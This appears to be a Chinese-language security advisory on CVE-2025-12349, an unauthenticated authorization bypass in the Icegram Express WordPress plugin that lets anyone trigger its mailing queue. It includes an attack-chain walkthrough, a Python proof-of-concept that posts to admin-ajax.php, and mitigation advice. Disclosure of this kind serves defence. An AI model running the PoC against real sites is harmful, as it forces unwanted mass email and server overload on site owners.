IPBUF安全漏洞报告
English
CVE-2025-12349 CVSS 5.3 中危

CVE-2025-12349 WordPress Icegram Express授权绕过漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-12349
漏洞类型
授权绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin for WordPress

相关标签

授权绕过WordPress插件Icegram ExpressCVE-2025-12349邮件系统安全漏洞AJAXDoS中间件

漏洞概述

Icegram Express是WordPress平台上一款流行的电子邮件订阅、新闻通讯和营销自动化插件。该插件在5.9.10及之前版本中存在严重的授权绕过漏洞,根源在于`trigger_mailing_queue_sending`函数未能正确验证用户权限。攻击者无需任何认证即可触发邮件发送队列,强制立即发送邮件、绕过预定调度计划、大幅增加服务器负载,并可修改插件状态(如last-cron-hit)。此漏洞可被用于实施滥用攻击或制造类似拒绝服务(DoS)的效果,影响WordPress网站的正常运行和服务稳定性。由于该插件被广泛应用于商业网站和博客,漏洞影响范围较大,建议用户立即升级到最新版本并采取临时缓解措施。

技术细节

漏洞存在于Icegram Express插件的邮件队列处理逻辑中。具体来说,`trigger_mailing_queue_sending`函数在执行邮件发送操作前,未能正确验证请求者是否具有相应权限。在WordPress插件开发中,正确的权限验证通常需要调用`current_user_can()`等函数检查用户能力,但该函数直接跳过了这一关键验证步骤。由于WordPress的`do_action`钩子机制允许未认证用户通过特定URL参数触发回调,攻击者可以通过构造恶意请求直接调用该函数。成功利用后,攻击者可以绕过正常的邮件发送调度机制,立即触发大量邮件发送,这不仅会造成服务器资源耗尽,还可能导致邮件服务提供商将域名加入黑名单,影响正常业务邮件的发送。漏洞代码位于插件的`class-es-queue.php`文件中,攻击者可通过访问`admin-ajax.php`或直接调用相关钩子触发漏洞。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站是否安装并启用了存在漏洞的Icegram Express插件(版本≤5.9.10)
STEP 2
步骤2
攻击者构造恶意HTTP请求,直接访问wp-admin/admin-ajax.php或相关端点,携带触发邮件队列的参数
STEP 3
步骤3
由于插件未验证用户权限,请求无需携带有效的认证令牌(如nonce或登录会话)即可通过
STEP 4
步骤4
trigger_mailing_queue_sending函数被触发,绕过正常的调度机制,立即执行邮件发送任务
STEP 5
步骤5
大量邮件被立即发送,造成服务器CPU和内存资源消耗,可能触发邮件发送限制或IP黑名单
STEP 6
步骤6
攻击者可通过重复请求放大攻击效果,造成类似DoS的拒绝服务效果,影响网站正常功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12349 PoC - Unauthorized Email Queue Trigger # Target: Icegram Express Plugin < = 5.9.10 def exploit(target_url): """ Exploit for Icegram Express Authorization Bypass Allows unauthenticated attackers to trigger email queue sending """ # Target WordPress site with vulnerable plugin target = target_url.rstrip('/') # Method 1: Trigger via admin-ajax.php hook ajax_url = f"{target}/wp-admin/admin-ajax.php" # Icegram Express AJAX action to trigger mailing queue data = { 'action': 'trigger_mailing_queue_sending', 'es': 'sendmail', 'es_nonce': '' # No nonce required due to missing authorization check } print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2025-12349...") try: # Send malicious request without authentication response = requests.post(ajax_url, data=data, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully!") print(f"[+] Status Code: {response.status_code}") print(f"[*] Email queue may have been triggered") print(f"[*] This can cause: immediate email sending, bypass schedule, server overload") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12349.py <target_url>") print("Example: python cve-2025-12349.py http://victim.com") sys.exit(1) target_url = sys.argv[1] exploit(target_url)

影响范围

Icegram Express Plugin < = 5.9.10

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)禁用或删除Icegram Express插件;2)使用Web应用防火墙(WAF)规则阻止对admin-ajax.php的异常请求;3)限制非管理员用户访问wp-admin目录;4)监控服务器日志中的异常邮件发送行为;5)联系WordPress托管服务商启用基础安全防护。建议尽快升级到插件最新版本以彻底消除该安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表